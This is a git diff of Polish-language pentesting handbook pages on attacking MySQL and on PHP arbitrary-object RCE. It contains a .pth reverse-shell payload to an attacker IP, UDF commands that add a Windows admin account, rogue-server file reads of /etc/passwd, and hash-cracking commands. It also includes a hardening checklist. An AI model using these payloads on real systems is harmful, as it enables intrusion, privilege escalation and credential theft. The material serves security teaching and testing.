diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index b1c24298a..2bec54fbc 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -4,7 +4,7 @@ ## **Podstawowe informacje** -**MySQL** można opisać jako otwarte źródło **Systemu Zarządzania Relacyjnymi Bazami Danych (RDBMS)**, który jest dostępny bezpłatnie. Działa na **Języku Zapytania Strukturalnego (SQL)**, umożliwiając zarządzanie i manipulację bazami danych. +**MySQL** można opisać jako otwartoźródłowy **Relational Database Management System (RDBMS)** dostępny bezpłatnie. Wykorzystuje **Structured Query Language (SQL)**, umożliwiając zarządzanie i manipulację bazami danych. **Domyślny port:** 3306 ``` @@ -17,14 +17,14 @@ mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) ``` -### Zdalny +### Zdalne ```bash mysql -h -u root mysql -h -u root@localhost ``` ## External Enumeration -Niektóre z działań enumeracyjnych wymagają ważnych poświadczeń. +Niektóre akcje enumeration wymagają ważnych danych uwierzytelniających. ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -78,7 +78,7 @@ quit; mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` -### Enumeracja uprawnień MySQL +### Wyliczanie uprawnień MySQL ```sql #Mysql SHOW GRANTS [FOR user]; @@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` -Możesz zobaczyć w dokumentacji znaczenie każdego uprawnienia: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) +W dokumentacji można zobaczyć znaczenie każdego przywileju: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) ### MySQL File RCE @@ -110,15 +110,15 @@ Możesz zobaczyć w dokumentacji znaczenie każdego uprawnienia: [https://dev.my ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -#### INTO OUTFILE → Python `.pth` RCE (specyficzne dla witryny haki konfiguracyjne) +#### INTO OUTFILE → Python `.pth` RCE (haków konfiguracyjnych specyficznych dla środowiska) -Wykorzystując klasyczny prymityw `INTO OUTFILE`, możliwe jest uzyskanie *dowolnego wykonania kodu* na celach, które później uruchamiają skrypty **Python**. +Wykorzystując klasyczny prymityw `INTO OUTFILE` można uzyskać *wykonanie dowolnego kodu* na celach, które później uruchamiają skrypty **Python**. -1. Użyj `INTO OUTFILE`, aby umieścić niestandardowy **`.pth`** plik w dowolnym katalogu ładowanym automatycznie przez `site.py` (np. `.../lib/python3.10/site-packages/`). -2. Plik `.pth` może zawierać *jedną linię* zaczynającą się od `import `, po której następuje dowolny kod Python, który będzie wykonywany za każdym razem, gdy interpreter się uruchomi. -3. Gdy interpreter jest niejawnie uruchamiany przez skrypt CGI (na przykład `/cgi-bin/ml-draw.py` z shebang `#!/bin/python`), ładunek jest wykonywany z tymi samymi uprawnieniami co proces serwera WWW (FortiWeb uruchomił go jako **root** → pełne RCE przed uwierzytelnieniem). +1. Użyj `INTO OUTFILE`, aby umieścić niestandardowy plik **`.pth`** w dowolnym katalogu ładowanym automatycznie przez `site.py` (np. `.../lib/python3.10/site-packages/`). +2. Plik `.pth` może zawierać *pojedynczą linię* rozpoczynającą się od `import `, po którym następuje dowolny kod Python, który zostanie wykonany za każdym razem, gdy interpreter się uruchomi. +3. Jeśli interpreter jest wywoływany pośrednio przez skrypt CGI (na przykład `/cgi-bin/ml-draw.py` z shebangiem `#!/bin/python`), payload zostanie wykonany z tymi samymi uprawnieniami co proces serwera WWW (FortiWeb uruchomił go jako **root** → pełne pre-auth RCE). -Przykład ładunku `.pth` (jedna linia, nie mogą być zawarte spacje w końcowym ładunku SQL, więc może być wymagane użycie hex/`UNHEX()` lub konkatenacji ciągów): +Przykładowy payload `.pth` (pojedyncza linia, w końcowym SQL payload nie mogą występować spacje, więc może być konieczne użycie hex/`UNHEX()` lub konkatenacji łańcuchów): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` @@ -128,42 +128,40 @@ Przykład tworzenia pliku za pomocą zapytania **UNION** (znaki spacji zastąpio ``` Ważne ograniczenia i obejścia: -* `INTO OUTFILE` **nie może nadpisywać** istniejących plików; wybierz nową nazwę pliku. -* Ścieżka do pliku jest rozwiązywana **względem CWD MySQL**, więc dodanie `../../` pomaga skrócić ścieżkę i obejść ograniczenia dotyczące ścieżek absolutnych. -* Jeśli dane wejściowe atakującego są wyciągane za pomocą `%128s` (lub podobnego), każda spacja skróci ładunek; użyj sekwencji komentarzy MySQL `/**/` lub `/*!*/`, aby zastąpić spacje. +* `INTO OUTFILE` **nie może nadpisać** istniejących plików; wybierz nową nazwę pliku. +* Ścieżka do pliku jest rozwiązywana **względem MySQL’s CWD**, więc poprzedzenie jej `../../` pomaga skrócić ścieżkę i obejść ograniczenia dotyczące ścieżek absolutnych. +* Jeśli dane wejściowe atakującego są pobierane za pomocą `%128s` (lub podobnego), każda spacja obetnie payload; użyj sekwencji komentarzy MySQL `/**/` lub `/*!*/` zamiast spacji. * Użytkownik MySQL wykonujący zapytanie potrzebuje uprawnienia `FILE`, ale w wielu urządzeniach (np. FortiWeb) usługa działa jako **root**, co daje dostęp do zapisu niemal wszędzie. -Po usunięciu `.pth`, po prostu zażądaj dowolnego CGI obsługiwanego przez interpreter Pythona, aby uzyskać wykonanie kodu: +Po zapisaniu `.pth`, wystarczy zażądać dowolnego CGI obsługiwanego przez interpreter Pythona, aby uzyskać wykonanie kodu: ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: ``` -Proces Pythona automatycznie zaimportuje złośliwy plik `.pth` i wykona ładunek powłoki. +Proces Pythona automatycznie zaimportuje złośliwy `.pth` i wykona shell payload. ``` # Attacker $ nc -lvnp 4444 id uid=0(root) gid=0(root) groups=0(root) ``` ---- +## MySQL dowolny odczyt pliku przez client -## MySQL dowolne odczytywanie pliku przez klienta - -W rzeczywistości, gdy próbujesz **załadować dane lokalnie do tabeli** z **zawartością pliku**, serwer MySQL lub MariaDB prosi **klienta o jego odczyt** i przesłanie zawartości. **Jeśli możesz zmanipulować klienta MySQL, aby połączył się z własnym serwerem MySQL, możesz odczytać dowolne pliki.**\ -Zauważ, że takie jest zachowanie przy użyciu: +Zasadniczo, gdy próbujesz **load data local into a table**, serwer MySQL lub MariaDB prosi **client to read it** i przesyła zawartość pliku. **Jeżeli uda ci się zmanipulować mysql client tak, by połączył się z twoim własnym MySQL server, możesz odczytać arbitrary files.**\ +Zwróć uwagę, że takie zachowanie występuje przy użyciu: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(Uwaga na słowo "local")\ -Ponieważ bez "local" możesz uzyskać: +(Zwróć uwagę na słowo "local")\ +Ponieważ bez "local" możesz otrzymać: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` -**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**W tym artykule można zobaczyć pełny opis ataku, a nawet jak go rozszerzyć na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ -**Tutaj można znaleźć przegląd ataku:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) +**Wstępny PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ +**W tym artykule znajdziesz pełny opis ataku i nawet jak rozszerzyć go do RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**Tutaj znajdziesz przegląd ataku:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -171,7 +169,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ## POST -### Mysql User +### Użytkownik mysql Będzie to bardzo interesujące, jeśli mysql działa jako **root**: ```bash @@ -180,16 +178,16 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '= ``` #### Niebezpieczne ustawienia mysqld.cnf -W konfiguracji usług MySQL stosuje się różne ustawienia do określenia ich działania i środków bezpieczeństwa: +W konfiguracji usług MySQL używa się różnych ustawień do określenia jego działania i zabezpieczeń: -- Ustawienie **`user`** jest wykorzystywane do wyznaczenia użytkownika, pod którym będzie uruchamiana usługa MySQL. -- **`password`** jest stosowane do ustalenia hasła powiązanego z użytkownikiem MySQL. -- **`admin_address`** określa adres IP, który nasłuchuje połączeń TCP/IP na administracyjnym interfejsie sieciowym. -- Zmienna **`debug`** wskazuje na bieżące konfiguracje debugowania, w tym wrażliwe informacje w logach. -- **`sql_warnings`** zarządza tym, czy generowane są ciągi informacyjne dla pojedynczych instrukcji INSERT, gdy pojawiają się ostrzeżenia, zawierające wrażliwe dane w logach. +- Ustawienie **`user`** służy do wskazania użytkownika, pod którym będzie uruchomiona usługa MySQL. +- **`password`** jest stosowane do ustawienia hasła powiązanego z użytkownikiem MySQL. +- **`admin_address`** określa adres IP, który nasłuchuje połączeń TCP/IP na interfejsie sieciowym administracyjnym. +- Zmienna **`debug`** wskazuje bieżące ustawienia debugowania, które mogą zawierać wrażliwe informacje w logach. +- **`sql_warnings`** kontroluje, czy dla instrukcji INSERT wstawiających pojedynczy wiersz generowane są komunikaty informacyjne przy wystąpieniu ostrzeżeń — co może prowadzić do ujawnienia wrażliwych danych w logach. - Dzięki **`secure_file_priv`** zakres operacji importu i eksportu danych jest ograniczony w celu zwiększenia bezpieczeństwa. -### Eskalacja uprawnień +### Privilege escalation ```bash # Get current user (an all users) privileges and hashes use mysql; @@ -207,18 +205,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` -### Eskalacja uprawnień za pomocą biblioteki +### Eskalacja uprawnień przez bibliotekę -Jeśli **serwer mysql działa jako root** (lub inny bardziej uprzywilejowany użytkownik), możesz sprawić, że wykona on polecenia. W tym celu musisz użyć **funkcji zdefiniowanych przez użytkownika**. Aby stworzyć funkcję zdefiniowaną przez użytkownika, będziesz potrzebować **biblioteki** dla systemu operacyjnego, na którym działa mysql. +Jeśli **mysql server działa jako root** (lub inny, bardziej uprzywilejowany użytkownik) możesz sprawić, że będzie wykonywać polecenia. W tym celu musisz użyć **funkcji zdefiniowanych przez użytkownika**. Aby utworzyć taką funkcję, będziesz potrzebować **biblioteki** dla systemu operacyjnego, na którym działa mysql. -Złośliwą bibliotekę, której należy użyć, można znaleźć w sqlmap i w metasploit, wykonując **`locate "*lib_mysqludf_sys*"`**. Pliki **`.so`** to **biblioteki linux**, a **`.dll`** to te dla **Windows**, wybierz tę, której potrzebujesz. +Złośliwą bibliotekę do użycia można znaleźć w sqlmap i w metasploit, wykonując **`locate "*lib_mysqludf_sys*"`**. Pliki **`.so`** to biblioteki **linux**, a **`.dll`** to biblioteki **Windows** — wybierz tę, której potrzebujesz. -Jeśli **nie masz** tych bibliotek, możesz albo **ich poszukać**, albo pobrać ten [**kod C dla linux**](https://www.exploit-db.com/exploits/1518) i **skompilować go na podatnej maszynie linux**: +Jeśli **nie masz** tych bibliotek, możesz albo **poszukać ich**, albo pobrać ten [**linux C code**](https://www.exploit-db.com/exploits/1518) i **skompilować go na podatnej maszynie linux**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -Teraz, gdy masz bibliotekę, zaloguj się do Mysql jako użytkownik z uprawnieniami (root?) i wykonaj następne kroki: +Gdy masz już bibliotekę, zaloguj się do Mysql jako uprzywilejowany użytkownik (root?) i wykonaj następujące kroki: #### Linux ```sql @@ -252,17 +250,26 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` -### Wyciąganie poświadczeń MySQL z plików +#### Porada Windows: tworzenie katalogów z NTFS ADS z poziomu SQL -W pliku _/etc/mysql/debian.cnf_ można znaleźć **hasło w formie tekstu jawnego** użytkownika **debian-sys-maint** +Na NTFS można wymusić utworzenie katalogu przy użyciu alternatywnego strumienia danych, nawet gdy jedyną dostępną operacją jest zapis pliku. Jeśli the classic UDF chain oczekuje katalogu `plugin`, ale on nie istnieje i `@@plugin_dir` jest nieznany lub zablokowany, możesz najpierw go utworzyć za pomocą `::$INDEX_ALLOCATION`: +```sql +SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; +-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory +``` +To zamienia ograniczony `SELECT ... INTO OUTFILE` w bardziej kompletny prymityw na systemach Windows, tworząc strukturę katalogów potrzebną do UDF drops. + +### Wyodrębnianie poświadczeń MySQL z plików + +W pliku _/etc/mysql/debian.cnf_ możesz znaleźć **hasło w postaci jawnego tekstu** użytkownika **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` -Możesz **użyć tych danych logowania, aby zalogować się do bazy danych mysql**. +Możesz **użyć tych poświadczeń, aby zalogować się do bazy danych mysql**. -W pliku: _/var/lib/mysql/mysql/user.MYD_ możesz znaleźć **wszystkie hashe użytkowników MySQL** (te, które możesz wyodrębnić z mysql.user wewnątrz bazy danych)_._ +W pliku: _/var/lib/mysql/mysql/user.MYD_ znajdziesz **wszystkie hashes użytkowników MySQL** (te, które możesz wyodrębnić z mysql.user w bazie danych)_._ -Możesz je wyodrębnić, wykonując: +Możesz je wyodrębnić wykonując: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` @@ -296,7 +303,7 @@ Pliki konfiguracyjne - update.log - common.log -## Domyślna baza danych/tabele MySQL +## Domyślne bazy danych/tabele MySQL {{#tabs}} {{#tab name="information_schema"}} @@ -647,36 +654,35 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -## 2023-2025 Najważniejsze wydarzenia (nowe) +## Najważniejsze 2023-2025 (nowe) -### JDBC `propertiesTransform` deserializacja (CVE-2023-21971) -Od Connector/J <= 8.0.32, atakujący, który może wpływać na **JDBC URL** (na przykład w oprogramowaniu firm trzecich, które prosi o ciąg połączenia), może zażądać załadowania dowolnych klas po stronie *klienta* za pomocą parametru `propertiesTransform`. Jeśli gadżet obecny na ścieżce klas jest możliwy do załadowania, skutkuje to **zdalnym wykonaniem kodu w kontekście klienta JDBC** (przed uwierzytelnieniem, ponieważ nie są wymagane żadne ważne poświadczenia). Minimalny PoC wygląda następująco: +### JDBC `propertiesTransform` deserialization (CVE-2023-21971) +W Connector/J <= 8.0.32 atakujący, który może wpływać na **JDBC URL** (np. w oprogramowaniu firm trzecich, które prosi o connection string), może zażądać załadowania dowolnych klas po stronie *client* za pomocą parametru `propertiesTransform`. Jeśli na class-path znajduje się gadżet, który można załadować, prowadzi to do **remote code execution w kontekście JDBC client** (pre-auth, ponieważ nie są wymagane prawidłowe poświadczenia). Minimalny PoC wygląda tak: ```java jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` -Uruchomienie `Evil.class` może być tak proste, jak umieszczenie go w class-path aplikacji z luką lub pozwolenie, aby złośliwy serwer MySQL wysłał złośliwy zserializowany obiekt. Problem został naprawiony w Connector/J 8.0.33 – zaktualizuj sterownik lub wyraźnie ustaw `propertiesTransform` na liście dozwolonej. -(Zobacz artykuł Snyk po szczegóły) +Uruchomienie `Evil.class` może być tak proste, jak umieszczenie go na class-path wrażliwej aplikacji lub pozwolenie, aby złośliwy serwer MySQL wysłał złośliwy zserializowany obiekt. Problem naprawiono w Connector/J 8.0.33 — zaktualizuj driver albo jawnie ustaw `propertiesTransform` na allow-list. (Zobacz write-up Snyk po szczegóły) -### Ataki z użyciem złośliwego / fałszywego serwera MySQL przeciwko klientom JDBC -Kilka narzędzi open-source implementuje *częściowy* protokół MySQL w celu ataku na klientów JDBC, którzy łączą się na zewnątrz: +### Rogue / Fake MySQL server attacks against JDBC clients +Kilka narzędzi open-source implementuje *częściowy* protokół MySQL, aby atakować klientów JDBC, którzy łączą się na zewnątrz: -* **mysql-fake-server** (Java, obsługuje exploity do odczytu plików i deserializacji) +* **mysql-fake-server** (Java, wspiera odczyt plików i exploity deserializacji) * **rogue_mysql_server** (Python, podobne możliwości) Typowe ścieżki ataku: 1. Aplikacja ofiary ładuje `mysql-connector-j` z `allowLoadLocalInfile=true` lub `autoDeserialize=true`. -2. Atakujący kontroluje DNS / wpis hosta, aby nazwa hosta bazy danych rozwiązywała się na maszynę pod ich kontrolą. -3. Złośliwy serwer odpowiada stworzonym pakietem, który wyzwala albo `LOCAL INFILE` dowolny odczyt pliku, albo deserializację Java → RCE. +2. Atakujący kontroluje wpis DNS / host tak, że nazwa hosta DB rozwiązuje się do maszyny pod jego kontrolą. +3. Złośliwy serwer odpowiada spreparowanymi pakietami, które wywołują albo `LOCAL INFILE` — arbitralny odczyt pliku — albo deserializację Java → RCE. -Przykład jednego polecenia do uruchomienia fałszywego serwera (Java): +Przykładowy one-liner do uruchomienia fałszywego serwera (Java): ```bash java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server ``` Następnie skieruj aplikację ofiary na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` i odczytaj `/etc/passwd`, kodując nazwę pliku jako base64 w polu *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). -### Łamanie hashy `caching_sha2_password` -MySQL ≥ 8.0 przechowuje hashe haseł jako **`$mysql-sha2$`** (SHA-256). Zarówno Hashcat (tryb **21100**), jak i John-the-Ripper (`--format=mysql-sha2`) obsługują łamanie offline od 2023 roku. Zrzutuj kolumnę `authentication_string` i podaj ją bezpośrednio: +### Cracking `caching_sha2_password` hashes +MySQL ≥ 8.0 przechowuje hashe haseł jako **`$mysql-sha2$`** (SHA-256). Zarówno Hashcat (mode **21100**) jak i John-the-Ripper (`--format=mysql-sha2`) obsługują offline cracking od 2023. Zrzutuj kolumnę `authentication_string` i podaj ją bezpośrednio: ```bash # extract hashes echo "$mysql-sha2$AABBCC…" > hashes.txt @@ -685,20 +691,23 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist # John the Ripper john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist ``` -### Lista kontrolna wzmacniania (2025) -• Ustaw **`LOCAL_INFILE=0`** i **`--secure-file-priv=/var/empty`**, aby zablokować większość prymitywów do odczytu/zapisu plików. -• Usuń uprawnienie **`FILE`** z kont aplikacji. -• W Connector/J ustaw `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (puste). -• Wyłącz nieużywane wtyczki uwierzytelniające i **wymagaj TLS** (`require_secure_transport = ON`). -• Monitoruj `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` oraz nagłe polecenia `SET GLOBAL`. +### Lista kontrolna hardeningu (2025) +• Ustaw **`LOCAL_INFILE=0`** i **`--secure-file-priv=/var/empty`**, aby wyeliminować większość prymitywów do odczytu/zapisu plików. +• Usuń uprawnienie **`FILE`** z kont aplikacji. +• W Connector/J ustaw `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (puste). +• Wyłącz nieużywane pluginy uwierzytelniania i **wymagaj TLS** (`require_secure_transport = ON`). +• Monitoruj wystąpienia `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` oraz nagłych poleceń `SET GLOBAL`. --- -## Odniesienia -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) -- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) -- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) +## Referencje +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) +- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) + + +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index cf214b403..8a6b7df43 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,16 +1,16 @@ -# PHP - RCE nadużywanie tworzenia obiektów: new $\_GET\["a"]\($\_GET\["b"]) +# PHP - RCE wykorzystywanie tworzenia obiektów: new $_GET["a"]($_GET["b"]) {{#include ../../../banners/hacktricks-training.md}} -To jest zasadniczo podsumowanie [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) ## Wprowadzenie -Tworzenie nowych, dowolnych obiektów, takich jak `new $_GET["a"]($_GET["a"])`, może prowadzić do zdalnego wykonania kodu (RCE), jak szczegółowo opisano w [**opisie**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Dokument ten podkreśla różne strategie osiągania RCE. +Tworzenie nowych dowolnych obiektów, takich jak `new $_GET["a"]($_GET["a"])`, może prowadzić do Remote Code Execution (RCE), jak opisano w [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Niniejszy dokument przedstawia różne strategie osiągnięcia RCE. -## RCE za pomocą klas niestandardowych lub autoloadingu +## RCE przez własne klasy lub autoloading -Składnia `new $a($b)` jest używana do instancjonowania obiektu, gdzie **`$a`** reprezentuje nazwę klasy, a **`$b`** jest pierwszym argumentem przekazywanym do konstruktora. Te zmienne mogą pochodzić z danych wejściowych użytkownika, takich jak GET/POST, gdzie mogą być ciągami lub tablicami, lub z JSON, gdzie mogą występować jako inne typy. +Składnia `new $a($b)` służy do tworzenia instancji obiektu, gdzie **`$a`** oznacza nazwę klasy, a **`$b`** jest pierwszym argumentem przekazywanym do konstruktora. Zmienne te mogą pochodzić z danych wejściowych od użytkownika jak GET/POST, gdzie mogą być stringami lub tablicami, albo z JSON, gdzie mogą występować jako inne typy. Rozważ poniższy fragment kodu: ```php @@ -31,9 +31,9 @@ $b = $_GET['b']; new $a($b); ``` -W tym przypadku ustawienie `$a` na `App` lub `App2` oraz `$b` na polecenie systemowe (np. `uname -a`) skutkuje wykonaniem tego polecenia. +W tym przypadku ustawienie `$a` na `App` lub `App2` i `$b` na polecenie systemowe (np. `uname -a`) powoduje wykonanie tego polecenia. -**Funkcje autoloading** mogą być wykorzystywane, jeśli takie klasy nie są bezpośrednio dostępne. Te funkcje automatycznie ładują klasy z plików w razie potrzeby i są definiowane za pomocą `spl_autoload_register` lub `__autoload`: +**Funkcje autoloadingu** można wykorzystać, jeśli takie klasy nie są bezpośrednio dostępne. Funkcje te automatycznie ładują klasy z plików, gdy są potrzebne i są definiowane za pomocą `spl_autoload_register` lub `__autoload`: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -45,52 +45,76 @@ include $class_name . '.php'; spl_autoload_register(); ``` -Zachowanie autoloadingu różni się w zależności od wersji PHP, oferując różne możliwości RCE. +Zachowanie mechanizmu autoloadingu różni się między wersjami PHP, oferując różne możliwości RCE. -## RCE za pomocą klas wbudowanych +## RCE przez wbudowane klasy -Brakując niestandardowych klas lub autoloaderów, **wbudowane klasy PHP** mogą wystarczyć do RCE. Liczba tych klas waha się od 100 do 200, w zależności od wersji PHP i rozszerzeń. Można je wylistować za pomocą `get_declared_classes()`. +W przypadku braku własnych klas lub autoloaderów, **wbudowane klasy PHP** mogą wystarczyć do RCE. Ich liczba wynosi od około 100 do 200, w zależności od wersji PHP i zainstalowanych rozszerzeń. Można je wypisać za pomocą `get_declared_classes()`. -Konstruktory, które mogą być interesujące, można zidentyfikować za pomocą API refleksji, jak pokazano w poniższym przykładzie oraz w linku [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). +Konstruktory warte uwagi można zidentyfikować przy użyciu reflection API, jak pokazano w poniższym przykładzie oraz pod linkiem [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). -**RCE za pomocą konkretnych metod obejmuje:** +**RCE przez specyficzne metody obejmuje:** -### **SSRF + deserializacja Phar** +### **SSRF + Phar Deserialization** -Klasa `SplFileObject` umożliwia SSRF poprzez swój konstruktor, pozwalając na połączenia z dowolnym URL: +Klasa `SplFileObject` umożliwia SSRF za pomocą swojego konstruktora, pozwalając na połączenia z dowolnym URL: ```php new SplFileObject('http://attacker.com/'); ``` -SSRF może prowadzić do ataków deserializacji w wersjach PHP przed 8.0 przy użyciu protokołu Phar. +SSRF może prowadzić do deserialization attacks w wersjach PHP przed 8.0, wykorzystując protokół Phar. -### **Wykorzystywanie PDO** +### **Exploiting PDOs** -Konstruktor klasy PDO umożliwia połączenia z bazami danych za pomocą ciągów DSN, co potencjalnie umożliwia tworzenie plików lub inne interakcje: +Konstruktor klasy PDO pozwala na połączenia z bazami danych za pomocą ciągów DSN, co potencjalnie umożliwia tworzenie plików lub inne interakcje: ```php new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** -Wersje PHP do 5.3.22 i 5.4.12 były podatne na ataki XXE za pośrednictwem konstruktorów `SoapClient` i `SimpleXMLElement`, w zależności od wersji libxml2. +Wersje PHP do 5.3.22 oraz 5.4.12 były podatne na ataki XXE poprzez konstruktory `SoapClient` i `SimpleXMLElement`, w zależności od wersji libxml2. -## RCE za pomocą rozszerzenia Imagick +## RCE przez rozszerzenie Imagick -W analizie **zależności projektu** odkryto, że **Imagick** może być wykorzystany do **wykonywania poleceń** poprzez instancjonowanie nowych obiektów. Stwarza to możliwość wykorzystania luk w zabezpieczeniach. +W analizie **zależności projektu** odkryto, że **Imagick** może być wykorzystany do **wykonywania poleceń** przez tworzenie nowych obiektów. Stwarza to możliwość eksploatacji podatności. -### Parser VID +### VID parser -Zidentyfikowano zdolność parsera VID do zapisywania treści w dowolnie określonej ścieżce w systemie plików. Może to prowadzić do umieszczenia powłoki PHP w katalogu dostępnym przez sieć, osiągając zdalne wykonanie kodu (RCE). +Zidentyfikowano, że parser VID ma możliwość zapisu zawartości do dowolnej wskazanej ścieżki w systemie plików. Może to doprowadzić do umieszczenia PHP shell w katalogu dostępnym przez web, osiągając Remote Code Execution (RCE). -#### Parser VID + Przesyłanie plików +#### VID Parser + File Upload -Zauważono, że PHP tymczasowo przechowuje przesyłane pliki w `/tmp/phpXXXXXX`. Parser VID w Imagick, wykorzystując protokół **msl**, może obsługiwać znaki wieloznaczne w ścieżkach plików, co ułatwia przeniesienie tymczasowego pliku do wybranej lokalizacji. Ta metoda oferuje dodatkowe podejście do osiągnięcia dowolnego zapisu plików w systemie plików. +Zauważono, że PHP tymczasowo przechowuje przesłane pliki w `/tmp/phpXXXXXX`. 